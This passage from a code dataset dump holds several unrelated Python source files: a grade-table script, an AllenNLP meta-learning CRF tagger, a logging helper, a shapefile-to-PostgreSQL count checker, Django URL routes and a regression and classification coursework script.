E1\",\"\",\"E2\",\"\",\"Suma\")\n print(\"-\"*40)\n h=False\n if len(k) == 8:\n print(k,\" \"*2,tabla[k])\n elif len(k) == 7:\n print(k,\" \"*3,tabla[k])\n elif len(k) == 6:\n print(k,\" \"*4,tabla[k])\n elif len(k) == 5:\n print(k,\" \"*5,tabla[k])\n elif len(k) == 4:\n print(k,\" \"*6,tabla[k])\n else:\n print(k)\n def suma_de_notas (tabla):\n for n in tabla:\n tabla[n][2] = tabla[n][0] + tabla[n][1] \n def sacarPromTot (tabla):\n p=0\n promedio=0\n total=0\n for a in tabla:\n total= total + int(tabla[a][2])\n p=p+1\n promedio= total/p\n return (promedio,total)\n suma_de_notas(tabla) \n promedio=0\n total=0 \n promedio,total = sacarPromTot(tabla)\n pal=input(\"Si quiere saber el total de las notas escriba 'Si',sino,escriba 'No' : \")\n pal1=input(\"Si quiere saber el promedio de las notas escriba 'Si',sino,escriba 'No' : \")\n imprimirNotas(tabla) \n print(\"-\"*26) \n total_options(pal)\n print(\"-\"*26) \n print(\"-\"*39) \n promedio_options(pal1)\n print(\"-\"*39) \n\n return tabla\n","repo_name":"NicolasTangredi/Mem_py---Grupo-4","sub_path":"Actividad_1/Actividad_1.py","file_name":"Actividad_1.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72822756412","text":"from typing import Dict, Optional\nfrom collections import defaultdict, Iterable\nfrom overrides import overrides\nimport torch\nfrom torch.nn.modules.linear import Linear\n\nfrom allennlp.common import Params\nfrom allennlp.common.checks import check_dimensions_match\nfrom allennlp.data import Vocabulary\nfrom allennlp.modules import Seq2SeqEncoder, TimeDistributed, TextFieldEmbedder, ConditionalRandomField\nfrom allennlp.modules.conditional_random_field import allowed_transitions\nfrom allennlp.models.model import Model\nfrom allennlp.nn import InitializerApplicator, RegularizerApplicator\nimport allennlp.nn.util as util\nfrom allennlp.training.metrics import SpanBasedF1Measure\nimport numpy as np\n\n@Model.register(\"maml_crf_tagger\")\nclass MAMLCrfTagger(Model):\n \"\"\"\n The ``CrfTagger`` encodes a sequence of text with a ``Seq2SeqEncoder``,\n then uses a Conditional Random Field model to predict a tag for each token in the sequence.\n\n Parameters\n ----------\n vocab : ``Vocabulary``, required\n A Vocabulary, required in order to compute sizes for input/output projections.\n text_field_embedder : ``TextFieldEmbedder``, required\n Used to embed the tokens ``TextField`` we get as input to the model.\n encoder : ``Seq2SeqEncoder``\n The encoder that we will use in between embedding tokens and predicting output tags.\n label_namespace : ``str``, optional (default=``labels``)\n This is needed to compute the SpanBasedF1Measure metric.\n Unless you did something unusual, the default value should be what you want.\n constraint_type : ``str``, optional (default=``None``)\n If provided, the CRF will be constrained at decoding time\n to produce valid labels based on the specified type (e.g. \"BIO\", or \"BIOUL\").\n initializer : ``InitializerApplicator``, optional (default=``InitializerApplicator()``)\n Used to initialize the model parameters.\n regularizer : ``RegularizerApplicator``, optional (default=``None``)\n If provided, will be used to calculate the regularization penalty during training.\n \"\"\"\n\n def __init__(self, vocab: Vocabulary,\n text_field_embedder: list,\n encoder: list,\n label_namespace: str = \"labels\",\n constraint_type: str = None,\n initializer: InitializerApplicator = InitializerApplicator(),\n regularizer: Optional[RegularizerApplicator] = None) -> None:\n super().__init__(vocab, regularizer)\n self.losses = []\n self.copy_parameters = [[] for _ in range(len(encoder))]\n self.n_copies = len(self.copy_parameters) - 1\n\n self.label_namespace = label_namespace\n\n self.text_field_embedders = text_field_embedder\n# self.text_field_embedder = text_field_embedder[-1]\n# for i in range(len(text_field_embedder)):\n# self.copy_parameters[i] += [w for w in text_field_embedder[i].parameters()]\n\n self.num_tags = self.vocab.get_vocab_size(label_namespace)\n\n self.encoders = encoder\n self.encoder = encoder[-1]\n for i in range(len(encoder)):\n self.copy_parameters[i] += [w for w in encoder[i].parameters()]\n\n for em in self.text_field_embedders:\n em.cuda(1)\n \n self.tag_projection_layers = [TimeDistributed(Linear(self.encoders[0].get_output_dim(),\n self.num_tags)) for _ in range(len(encoder))]\n self.tag_projection_layer = self.tag_projection_layers[-1]\n for i in range(len(self.tag_projection_layers)):\n self.copy_parameters[i] += [w for w in self.tag_projection_layers[i].parameters()]\n\n if constraint_type is not None:\n labels = self.vocab.get_index_to_token_vocabulary(label_namespace)\n constraints = allowed_transitions(constraint_type, labels)\n else:\n constraints = None\n\n self.crfs = [ConditionalRandomField(self.num_tags, constraints) for _ in range(len(encoder))]\n self.crf = self.crfs[-1]\n for i in range(len(self.crfs)):\n self.copy_parameters[i] += [w for w in self.crfs[i].parameters()]\n self.span_metric = SpanBasedF1Measure(vocab, tag_namespace=label_namespace)\n\n check_dimensions_match(text_field_embedder[0].get_output_dim(), encoder[0].get_input_dim(),\n \"text field embedding dim\", \"encoder input dim\")\n initializer(self)\n self.optimizers = [torch.optim.Adam(self.copy_parameters[i], 0.0001) for i in range(self.n_copies+1)]\n\n\n @overrides\n def forward(self, # type: ignore\n tokens: Dict[str, torch.LongTensor],\n tags: torch.LongTensor = None) -> Dict[str, torch.Tensor]:\n # pylint: disable=arguments-differ\n \"\"\"\n Parameters\n ----------\n tokens : ``Dict[str, torch.LongTensor]``, required\n The output of ``TextField.as_array()``, which should typically be passed directly to a\n ``TextFieldEmbedder``. This output is a dictionary mapping keys to ``TokenIndexer``\n tensors. At its most basic, using a ``SingleIdTokenIndexer`` this is: ``{\"tokens\":\n Tensor(batch_size, num_tokens)}``. This dictionary will have the same keys as were used\n for the ``TokenIndexers`` when you created the ``TextField`` representing your\n sequence. The dictionary is designed to be passed directly to a ``TextFieldEmbedder``,\n which knows how to combine different word representations into a single vector per\n token in your input.\n tags : ``torch.LongTensor``, optional (default = ``None``)\n A torch tensor representing the sequence of integer gold class labels of shape\n ``(batch_size, num_tokens)``.\n\n Returns\n -------\n An output dictionary consisting of:\n\n logits : ``torch.FloatTensor``\n The logits that are the output of the ``tag_projection_layer``\n mask : ``torch.LongTensor``\n The text field mask for the input tokens\n tags : ``List[List[str]]``\n The predicted tags using the Viterbi algorithm.\n loss : ``torch.FloatTensor``, optional\n A scalar loss to be optimised. Only computed if gold label ``tags`` are provided.\n \"\"\"\n# print([w.shape for w in self.parameters()])\n# print(self.state_dict())\n# 1/0\n # print([int(w.sum().data.numpy()) for w in self.parameters()])\n # for i in range(self.n_copies+1):\n # print([int(w.sum().data.numpy()) for w in self.copy_parameters[i]])\n # print('\\n')\n if tokens['tokens'].volatile:\n embedded_text_input = self.text_field_embedders[-1](tokens)\n mask = util.get_text_field_mask(tokens)\n encoded_text = self.encoder(embedded_text_input, mask)\n\n logits = self.tag_projection_layer(encoded_text)\n predicted_tags = self.crf.viterbi_tags(logits, mask)\n\n output = {\"logits\": logits, \"mask\": mask, \"tags\": predicted_tags}\n if tags is not None:\n # Add negative log-likelihood as loss\n log_likelihood = self.crf(logits, tags, mask)\n output[\"loss\"] = -log_likelihood/tags.shape[0]\n\n # Represent viterbi tags as \"class probabilities\" that we can\n # feed into the `span_metric`\n class_probabilities = logits * 0.\n for i, instance_tags in enumerate(predicted_tags):\n for j, tag_id in enumerate(instance_tags):\n class_probabilities[i, j, tag_id] = 1\n\n self.span_metric(class_probabilities, tags, mask)\n\n return output\n\n for i in range(self.n_copies):\n for w, w_main in zip(self.copy_parameters[i], self.copy_parameters[self.n_copies]):\n w.data = w_main.detach().data.clone()\n w.detach()\n losses_new = []\n losses_old = []\n f1_old = []\n f1_new = []\n n_steps = 10\n for i in range(self.n_copies):\n for group in self.optimizers[i].param_groups:\n for p in group['params']:\n self.optimizers[i].state[p] = defaultdict(dict)\n\n for step in range(n_steps):\n self.optimizers[i].zero_grad()\n tokens_i = dict(zip(tokens.keys(), [tensor[i][32*step:32*(step+1)] for tensor in tokens.values()]))\n tags_i = tags[i][32*step:32*(step+1)].clone()\n\n embedded_text_input = self.text_field_embedders[i](tokens_i)\n mask = util.get_text_field_mask(tokens_i)\n encoded_text = self.encoders[i](embedded_text_input, mask)\n\n logits = self.tag_projection_layers[i](encoded_text)\n predicted_tags = self.crfs[i].viterbi_tags(logits, mask)\n\n # Add negative log-likelihood as loss\n log_likelihood = self.crfs[i](logits, tags_i, mask)\n loss = -log_likelihood/tags_i.shape[0]\n # Represent viterbi tags as \"class probabilities\" that we can\n # feed into the `span_metric`\n class_probabilities = logits * 0.\n for index, instance_tags in enumerate(predicted_tags):\n for j, tag_id in enumerate(instance_tags):\n class_probabilities[index, j, tag_id] = 1\n if step == 0:\n self.span_metric(class_probabilities, tags_i, mask)\n losses_old.append(loss.data.cpu().numpy())\n f1_old.append(self.get_metrics()['f1-measure-overall'])\n\n loss.backward()\n self.optimizers[i].step()\n\n # Last\n self.optimizers[i].zero_grad()\n\n tokens_i = dict(zip(tokens.keys(), [tensor[i][-32:] for tensor in tokens.values()]))\n tags_i = tags[i][-32:].clone()\n\n embedded_text_input = self.text_field_embedders[i](tokens_i)\n mask = util.get_text_field_mask(tokens_i)\n encoded_text = self.encoders[i](embedded_text_input, mask)\n\n logits = self.tag_projection_layers[i](encoded_text)\n predicted_tags = self.crfs[i].viterbi_tags(logits, mask)\n\n if tags is not None:\n # Add negative log-likelihood as loss\n log_likelihood = self.crfs[i](logits, tags_i, mask)\n loss = -log_likelihood/tags_i.shape[0]\n # Represent viterbi tags as \"class probabilities\" that we can\n # feed into the `span_metric`\n class_probabilities = logits * 0.\n for index, instance_tags in enumerate(predicted_tags):\n for j, tag_id in enumerate(instance_tags):\n class_probabilities[index, j, tag_id] = 1\n # if i==0:\n # print(logits[0])\n self.span_metric(class_probabilities, tags_i, mask)\n losses_new.append(loss.data.cpu().numpy())\n\n f1_new.append(self.get_metrics()['f1-measure-overall'])\n\n loss.backward()\n\n for i_copy in range(self.n_copies):\n for i_param, w in enumerate(self.parameters()):\n if i_copy > 0:\n w.grad += self.copy_parameters[i_copy][i_param].grad.clone().detach()/self.n_copies\n else:\n w.grad = self.copy_parameters[i_copy][i_param].grad.clone().detach()/self.n_copies\n #w.grad = self.copy_parameters[i_copy][i_param].grad.clone().detach() * 0\n\n #output = {\"logits\": logits, \"mask\": mask, \"tags\": predicted_tags}\n output = {}\n if tags is not None:\n # Add negative log-likelihood as loss\n #log_likelihood = self.crf(logits, tags, mask)\n device = self.copy_parameters[0][0].get_device()\n output[\"loss\"] = torch.autograd.Variable(torch.FloatTensor(np.array([np.mean(losses_new)]))).cuda(device)\n self.losses.append(np.mean(losses_new))\n np.save('losses', self.losses)\n print('\\n', np.mean(losses_old), np.mean(losses_new), '\\n')\n print('\\n', np.mean(f1_old), np.mean(f1_new), '\\n')\n\n # Represent viterbi tags as \"class probabilities\" that we can\n # feed into the `span_metric`\n class_probabilities = logits * 0.\n # for i, instance_tags in enumerate(predicted_tags):\n # for j, tag_id in enumerate(instance_tags):\n # class_probabilities[i, j, tag_id] = 1\n #\n # self.span_metric(class_probabilities, tags, mask)\n\n return output\n\n @overrides\n def decode(self, output_dict: Dict[str, torch.Tensor]) -> Dict[str, torch.Tensor]:\n \"\"\"\n Converts the tag ids to the actual tags.\n ``output_dict[\"tags\"]`` is a list of lists of tag_ids,\n so we use an ugly nested list comprehension.\n \"\"\"\n output_dict[\"tags\"] = [\n [self.vocab.get_token_from_index(tag, namespace=\"labels\")\n for tag in instance_tags]\n for instance_tags in output_dict[\"tags\"]\n ]\n\n return output_dict\n\n @overrides\n def get_metrics(self, reset: bool = False) -> Dict[str, float]:\n metric_dict = self.span_metric.get_metric(reset=True)\n # self.precisions.append(metric_dict['f1-measure-overall'])\n # np.save('f1_basic', self.precisions)\n return {x: y for x, y in metric_dict.items() if \"overall\" in x}\n\n @classmethod\n def from_params(cls, vocab: Vocabulary, params: Params) -> 'MAMLCrfTagger':\n embedder_params = params.pop(\"text_field_embedder\")\n encoder_params = params.pop(\"encoder\")\n text_field_embedder = []\n encoder = []\n label_namespace = params.pop(\"label_namespace\", \"labels\")\n constraint_type = params.pop(\"constraint_type\", None)\n initializer_params = params.pop('initializer', [])\n reg_params = params.pop('regularizer', [])\n for i in range(20 + 1):\n print(i)\n encoder.append(Seq2SeqEncoder.from_params(encoder_params.duplicate()))\n# device = [w for w in encoder[-1].parameters()][0].get_device()\n text_field_embedder.append(TextFieldEmbedder.from_params(vocab, embedder_params.duplicate()))\n initializer = InitializerApplicator.from_params(initializer_params)\n regularizer = RegularizerApplicator.from_params(reg_params)\n params.assert_empty(cls.__name__)\n\n return cls(vocab=vocab,\n text_field_embedder=text_field_embedder,\n encoder=encoder,\n label_namespace=label_namespace,\n constraint_type=constraint_type,\n initializer=initializer,\n regularizer=regularizer)\n","repo_name":"deeppavlov/ner-meta","sub_path":"allennlp/models/maml_crf_tagger.py","file_name":"maml_crf_tagger.py","file_ext":"py","file_size_in_byte":14971,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"3248271129","text":"import os\nimport sys\n\nfrom logging import getLogger, Formatter, FileHandler, StreamHandler\n\n\nclass LoggerNotFound(Exception):\n \"\"\"Base Logger Exception\"\"\"\n\n\nclass Logger:\n\n def __init__(self, logdir: str, loglevel: str = 'DEBUG'):\n self.logdir = logdir\n self.loglevel = loglevel.upper()\n self.formatter = None\n self.loggers = None\n self.__post_init__()\n\n def __post_init__(self):\n os.makedirs(self.logdir, exist_ok=True)\n fmt = '%(asctime)s [%(levelname)s] [PID%(process)d] %(message)s'\n self.formatter = Formatter(fmt=fmt)\n self.loggers = dict()\n\n def __getattr__(self, item):\n return self.get(item)\n\n def get(self, name):\n logger = self.loggers.get(name)\n if not logger:\n raise LoggerNotFound(f'Сould not find logger named `{name}`')\n return logger\n\n def register(self, name: str, cout: bool = False):\n logger = getLogger(name)\n logger.setLevel(self.loglevel)\n file_handler = self._add_filehdlr(name)\n logger.addHandler(file_handler)\n if cout:\n stream_handler = self._add_streamhdlr()\n logger.addHandler(stream_handler)\n self.loggers[name] = logger\n\n def _add_filehdlr(self, name):\n handler = FileHandler(f'{self.logdir}/{name}.log')\n handler.setFormatter(self.formatter)\n return handler\n\n def _add_streamhdlr(self):\n handler = StreamHandler(sys.stdout)\n handler.setFormatter(self.formatter)\n return handler\n","repo_name":"mrslow/toolbox","sub_path":"toolbox/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12122296061","text":"# !/usr/bin/python3\n# -*- coding: utf-8 -*-\n#\n# Author : Viacheslav Zamaraev\n# email : zamaraev@gmail.com\n# Script Name : 02_shp_pg_count_to_csv.py\n# Created : 30th November 2021\n# Last Modified\t: 30th November 2021\n# Version\t\t : 1.0\n# PIP : pip install shapefile pyshp\n# RESULT : csv file with columns: FILENAME;...\n# Modifications\t: 1.1 -\n# : 1.2 -\n# Description : This script will search some *.shp files in the given directory and makes CSV file with some information\n# count features in shp and count in pg\n\nimport os # Load the Library Module\nimport os.path\n# import sys\nimport time\n# from sys import platform as _platform\n# from time import strftime\nfrom datetime import datetime\nimport csv\n\nimport cfg # some global configurations\n\ntry:\n import shapefile\nexcept Exception as e:\n print(\"Exception occurred \" + str(e))\n print(\"try: pip install pyshp\")\n\ntry:\n import psycopg2\nexcept Exception as e:\n print(\"Exception occurred \" + str(e))\n print(\"try: pip install psycopg2\")\n\n\n# Получаем кол-во объектов из шейп-файла\ndef shp_get_records_count(shp_file_in=''):\n file_dbf = shp_file_in.replace('.shp', '.dbf')\n # print(file_dbf)\n if os.path.isfile(file_dbf):\n sf = shapefile.Reader(file_dbf)\n _count = len(sf.records())\n return _count\n else:\n return 0\n\n\n# Получаем кол-во объектов из шейп-файла в выходной папке\ndef shp_out_get_records_count(shp_file_in=''):\n ff = shp_file_in.split(\".\")[0] + f\"_\" + str(cfg.DEFAULT_EPSG) + \".shp\"\n file_out = str(os.path.join(cfg.FOLDER_OUT, ff.upper()))\n return shp_get_records_count(file_out)\n\n\n# Получаем кол-во объектов в слое постгрес\ndef pg_get_records_count(shp_file_in=''):\n count = 0\n ff = shp_file_in.split(\".\")[0] + f\"_\" + str(cfg.DEFAULT_EPSG)\n table_name = ff.upper()\n print(table_name)\n db_conn = psycopg2.connect(host=cfg.DB_HOST, port=cfg.DB_PORT, dbname=cfg.DB_DATABASE, user=cfg.DB_USER,\n password=cfg.DB_PASSWORD)\n db_cursor = db_conn.cursor()\n try:\n\n s = f\"SELECT COUNT(*) FROM {table_name}\"\n # Error trapping\n # Execute the SQL\n db_cursor.execute(s)\n # Retrieve records from Postgres into a Python List\n counts = db_cursor.fetchall()\n count = counts[0][0]\n except psycopg2.Error as e:\n t_message = \"Database error: \" + e + \"/n SQL: \" + s\n return 0\n finally:\n # Close the database cursor and connection\n db_cursor.close()\n db_conn.close()\n return count\n\n\ndef shp_pg_layers_get_count(dir_in='', dir_out=''):\n if len(str(dir_in)) == 0:\n dir_in = os.getcwd()\n if len(str(dir_out)) == 0:\n dir_out = os.getcwd()\n\n file_csv = str(os.path.join(dir_out, cfg.FILE_CSV))\n if os.path.isfile(file_csv):\n os.remove(file_csv)\n\n csv_dict = {'DATA': '',\n 'FILENAME': '',\n 'SHPIN': '',\n 'SHPOUT': '',\n 'PG': '',\n 'DIFF': ''}\n\n for key in csv_dict:\n csv_dict[key] = ''\n\n with open(file_csv, 'w', newline='', encoding='utf-8') as csv_file: # Just use 'w' mode in 3.x\n\n csv_file_open = csv.DictWriter(csv_file, csv_dict.keys(), delimiter=cfg.CSV_DELIMITER)\n csv_file_open.writeheader()\n for root, subdirs, files in os.walk(dir_in):\n for file in os.listdir(root):\n\n file_path = str(os.path.join(root, file)).lower()\n ext = '.'.join(file.split('.')[1:]).lower()\n if file_path.endswith('shp'): # ext == \"shp\":\n # print(file)\n csv_dict['DATA'] = str(time.strftime(\"%Y-%m-%d\"))\n csv_dict['FILENAME'] = file_path\n shp_in_count = shp_get_records_count(file_path)\n shp_out_count = shp_out_get_records_count(file)\n pg_count = pg_get_records_count(file)\n diff = shp_out_count - pg_count\n\n csv_dict['SHPIN'] = shp_in_count\n csv_dict['SHPOUT'] = shp_out_count\n csv_dict['PG'] = pg_count\n csv_dict['DIFF'] = diff\n csv_file_open.writerow(csv_dict)\n # print(str(csv_dict.values()))\n\n csv_file.close()\n\n\ndef main():\n time1 = datetime.now()\n print('Starting at :' + str(time1))\n\n # dir_clear(dir_shp_out)\n shp_pg_layers_get_count(cfg.FOLDER_IN, cfg.FOLDER_OUT)\n\n time2 = datetime.now()\n print('Finishing at :' + str(time2))\n print('Total time : ' + str(time2 - time1))\n print('DONE !!!!')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gloryvictory/SHP2PG_OGR2OGR","sub_path":"src/02_shp_pg_count_to_csv.py","file_name":"02_shp_pg_count_to_csv.py","file_ext":"py","file_size_in_byte":4846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26989611262","text":"from django.urls import path, include\nfrom . import views\nfrom knox import views as knox_views\n\napp_name = \"users\"\n\nurlpatterns = [\n path(\"register/\", views.RegistrationAPI.as_view(), name=\"user-register\"),\n path(\"login/\", views.LoginAPI.as_view(), name=\"user-login\"),\n path(\"logout/\", knox_views.LogoutView.as_view(), name=\"knox_logout\"),\n path(\"user/\", views.UserAPI.as_view(), name=\"user-data\"),\n]","repo_name":"shinbumjun/Busan","sub_path":"busanpro5/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"19041619033","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom math import *\nimport matplotlib\n\n\n\ndata = pd.read_csv('train.csv')\n\ntrain_data = data[['school', 'sex', 'age', 'famsize', 'studytime', 'failures',\n 'activities', 'higher', 'internet', 'romantic', 'famrel',\n 'freetime', 'goout', 'Dalc', 'Walc', 'health', 'absences','G3']]\n\ntrain_data.dropna()\ntrain_data.head()\ndata_no_g3 = pd.read_csv('test_no_G3.csv')\ntest_data=data_no_g3[['school', 'sex', 'age', 'famsize', 'studytime', 'failures',\n 'activities', 'higher', 'internet', 'romantic', 'famrel',\n 'freetime', 'goout', 'Dalc', 'Walc', 'health', 'absences']]\n\ntest_data.dropna()\n\ndef OneHotEncoding(train_data):\n for i in list(train_data):\n if str(train_data[i].dtypes) == 'object':\n hot_encode = pd.get_dummies(train_data[i], prefix = i ,drop_first=True) #False for not binary data\n train_data = train_data.drop(i,axis = 1)\n train_data = train_data.join(hot_encode)\n return train_data\n\ntrain_data_hot=OneHotEncoding(train_data)\ntest_data_hot = OneHotEncoding(test_data)\n\ndef split_train_test(data,split_ratio=0.8):\n print(\"Splitting data into %.0f %% training and %.0f %% testing\"%(100*split_ratio, 100*(1-split_ratio)))\n train = train_data_hot.sample(frac=split_ratio, random_state=100)\n test = train_data_hot.drop(train.index)\n \n train_y=train['G3'] \n train_x=train.drop ('G3',axis = 1)\n test_Y=test['G3'] \n test_X=test.drop ('G3',axis = 1)\n print(\"Splitting data is done!!!!!!!\")\n return train_x,train_y,test_X, test_Y\ntrain_x,train_y,test_X, test_Y = split_train_test(train_data_hot, 0.8)\nprint(\"Train_x Train_y Test_x Test_y\")\nprint(train_x.shape,train_y.shape,test_X.shape, test_Y.shape)\n\n\ndef Normalization(data):\n print('Normalization started!!!!\\n')\n data = (data-data.mean())/data.std()\n #data = data.values\n #print('Normalization done!!!!')\n return data\ntrain_x = Normalization(train_x)\ntrain_x = train_x.values\ntest_X = Normalization(test_X)\ntest_X = test_X.values\ntrain_y = train_y.values\ntest_Y = test_Y.values\nfinal_test = Normalization(test_data_hot)\nfinal_test = final_test.values\n\ndef LinearRegression(train_x, train_y, lamda=0):\n Xtranspose = np.matrix.transpose(train_x)\n identity = np.identity(len(train_x[0,:]))\n identity[0,0] = 0\n temp1 = np.add(np.dot(Xtranspose, train_x),(len(train_x))*lamda*identity) #IF lamda is 0, no regularization term\n coff = np.dot(np.linalg.inv(temp1),np.dot(Xtranspose,train_y))\n #coff = np.linalg.inv(Xtranspose.dot(train_x)).dot(Xtranspose).dot(train_y)\n return coff\nW_lg=LinearRegression(train_x,train_y,0)\nYhat_linear = test_X.dot(W_lg)\ndef MSE(Yhat,y):\n total = 0\n for i in range(0,len(Yhat)):\n err= (Yhat[i]- y[i])**2\n total += err\n total= total/len(Yhat)\n return total\nerror_Linear = sqrt(MSE(Yhat_linear,test_Y))\nprint(\"Linear Regression Test RMSE is %.4f\"%(error_Linear))\nW_rg=LinearRegression(train_x,train_y,0.5)\nYhat_reg = test_X.dot(W_rg)\nerror_linear_reg = sqrt(MSE(Yhat_reg,test_Y))\nprint(\"\\nLinear Regression with Reg Test RMSE is %.4f\\n\"%(error_linear_reg-W_rg.dot(W_rg)/2))\n\ndef Bayesian(x,y,alpha=1,meo=0,lamb=0):\n\n x=np.insert(x, 0, 1, axis=1)\n \n ident=np.identity(np.array(x).shape[1])\n ident[0,0]=0\n reg=lamb*ident\n delta=np.float64((1/alpha)*np.identity(x.shape[1]))\n delta_m=np.float64(np.linalg.inv((np.transpose(x) @ x)+ np.linalg.inv(delta)))\n meo_m=np.float64((delta_m @ ((np.transpose(x) @ y) )+ np.linalg.inv(delta)*meo ))\n #weights = np.float64(np.linalg.inv(np.add((np.transpose (x) @ x), reg)) @ (np.transpose(x) @ y))\n #pdf=np.float64(np.exp((-1/2)*np.transpose(weights-meo_m) @ np.linalg.inv(delta_m) @ (weights-meo_m)))\n\n weights=meo_m.mean(0)\n\n \n return weights[1:], weights[:1]\n\nW_b, b0= Bayesian(train_x, train_y)\n\nyhat_ba = test_X.dot(W_b.T) +float(b0)\nerror_bays = sqrt(MSE(yhat_ba, test_Y))\nprint(\"\\nBayesian Regression RMSE: %.4f\\n\"%error_bays)\n\ndef LinearRegB(train_x, train_y, lamda=0):\n train_x = np.hstack((np.matrix(np.ones(train_x.shape[0])).T, train_x)) \n Xtranspose = np.matrix.transpose(train_x)\n identity = np.identity(len(train_x[0,:]))\n identity[0,0] = 0 # No need to penality the biased term\n temp1 = np.add(np.dot(Xtranspose, train_x),(len(train_x))*lamda*identity)\n coff = np.dot(np.linalg.inv(temp1),np.dot(Xtranspose,train_y).T)\n #coff = np.linalg.inv(Xtranspose.dot(train_x)).dot(Xtranspose).dot(train_y)\n return coff[1:], coff[:1] \nW_lb, b0=LinearRegB(train_x,train_y,.5)\nYhat_linear_b = test_X.dot(W_lb) + float(b0)\ny_final_test = final_test.dot(W_lb) + float(b0)\nerror_test = sqrt(MSE(Yhat_linear_b,test_Y))\nprint(\"\\nLinear Regression with regularization and intercept Test RMSE is %.4f\\n\"%(error_test))\n\n\nplt.figure(figsize=(11,8))\nplt.plot(test_Y,color='b')\nplt.plot(Yhat_linear, color='g')\nplt.plot(Yhat_reg, color='m')\nplt.plot(yhat_ba, color= 'orange')\nplt.plot(Yhat_linear_b, color = 'r')\nplt.xlabel(\"Sample Index\")\nplt.ylabel(\"Value\")\n\nplt.legend(('Ground Truth','(%.3f) linear Regression'%(error_Linear),\n '(%0.3f)linear regression (R)'%(error_linear_reg),\n '(%0.3f) Bayesian linear regression'%(error_bays),\n '(%0.3f)Linear regression (B+R)'%(error_test)),\n loc='lower right', shadow=True)\nplt.figure(figsize=(100,10))\nplt.savefig('plot')\nplt.show()\n\n\n\n\n# Classification Section\n\n# Creating LABLE Using G3 values\nfor i in range(len(train_y)):\n if train_y[i] >= 10:\n train_y[i]=1\n else:\n train_y[i]=0\nfor i in range(len(test_Y)):\n if test_Y[i] >= 10:\n test_Y[i]=1\n else:\n test_Y[i]=0\n\ndef LinearClassification(x,y,thres,lamda=0):\n x = np.hstack((np.matrix(np.ones(x.shape[0])).T, x)) \n Xtranspose = np.matrix.transpose(x)\n identity = np.identity(len(x[0,:]))\n identity[0,0] = 0 # No need to penality the biased term\n temp1 = np.add(np.dot(Xtranspose, x),(len(x))*lamda*identity)\n coff = np.dot(np.linalg.inv(temp1),np.dot(Xtranspose,y).T)\n #coff = np.linalg.inv(Xtranspose.dot(train_x)).dot(Xtranspose).dot(train_y)\n weights, b0 = coff[1:], coff[:1] \n \n y_pred = np.dot(test_X,weights)+b0\n \n for i in range(len(y_pred)):\n if y_pred[i]>=thres:\n y_pred[i]=1\n else:\n y_pred[i]=0\n return y_pred\n\ndef draw_performance(confusionMatrix):\n #plt.figure()\n\n tp, tn, fp, fn = confusionMatrix['TP'], confusionMatrix['TN'], confusionMatrix['FP'], confusionMatrix['FN']\n d = {'True = 0': [tn, fp], 'True = 1': [fn, tp]}\n df = pd.DataFrame(data=d)\n #df = pd.DataFrame(data=confusionMatrix5)\n sns.set(font_scale=1.4)#for label size\n sns.heatmap(df, annot=True,annot_kws={\"size\": 16},cmap='Blues',fmt='g')# font size\n plt.show()\n \npred_y_9=LinearClassification(train_x,train_y,0.9, 1)\npred_y_5=LinearClassification(train_x,train_y,0.5, 1)\npred_y_1=LinearClassification(train_x,train_y,0.1, 1)\n\ndef evaluate(y,y_pred,thres):\n TP = 0 # True positve\n FP = 0 # false +ve\n TN = 0 # true negative\n FN = 0 # false -ve\n\n for i in range(len(y)):\n \n if y[i]==y_pred[i]==1:\n TP+=1\n if y_pred[i]==1 and y[i]!=y_pred[i]:\n FP += 1\n if y[i]==y_pred[i]==0:\n TN += 1\n if y_pred[i]==0 and y[i]!=y_pred[i]:\n FN += 1\n accuracy = (TP+TN)/(TP+TN+FP+FN)*100 # Correct /total * 100\n print('Accuracy of system with thresould = %.1f is %.2f'%(thres,accuracy))\n return {'TP':TP,'FP':FP,'TN':TN,'FN':FN}\n \n\ndef performance(matrix):\n recall = matrix['TP']/(matrix['TP']+matrix['FN'])\n precision = matrix['TP']/(matrix['TP']+matrix['FP'])\n F1 = 2*recall*precision/(recall+precision)\n print('\\nPrecision = %.4f Recall = %.4f F1-Score = %.4f\\n'%(precision,recall,F1))\n\nprint(\"\\n########Linear Regression for Classication #########\\n\")\nconfusionMatrix5=evaluate(test_Y,pred_y_5,0.5)\nperformance(confusionMatrix5)\ndraw_performance(confusionMatrix5)\nconfusionMatrix9=evaluate(test_Y,pred_y_9,0.9)\nperformance(confusionMatrix9)\ndraw_performance(confusionMatrix9)\nconfusionMatrix1=evaluate(test_Y,pred_y_1,0.1)\nperformance(confusionMatrix1)\ndraw_performance(confusionMatrix1)\n\nclass LogisticRegression:\n \n def __init__(self, lr=0.01, num_iter=10000, intercept=True):\n self.lr = lr\n self.num_iter = num_iter\n self.intercept = intercept\n \n \n def add_bias(self, X):\n inte = np.ones((X.shape[0], 1))\n return np.concatenate((inte, X), axis=1)\n \n \n \n def fit(self, X, y):\n if self.intercept:\n X = self.add_bias(X)\n \n # putting all ones in the initial weights\n self.W = np.ones(X.shape[1])\n \n for i in range(self.num_iter):\n z = np.dot(X, self.W)\n h = self.sigmoid(z)\n temp0 = h-y\n grad = np.dot(X.T, (temp0)) / y.size\n self.W -= self.lr * grad\n \n def sigmoid(self, h):\n return 1 / (1 + np.exp(-h))\n def predict(self, X, thres):\n return self.prob(X) >= thres\n \n def prob(self, X):\n if self.intercept:\n X = self.add_bias(X)\n \n return self.sigmoid(np.dot(X, self.W))\n\nmodel = LogisticRegression(lr=0.01, num_iter=10000)\nmodel.fit(train_x, train_y)\n\npreds = model.predict(test_X,0.5)\nY_FINAL= model.predict(final_test,0.5)\n# accuracy\nprint(\"\\n ######### Logistic Regression 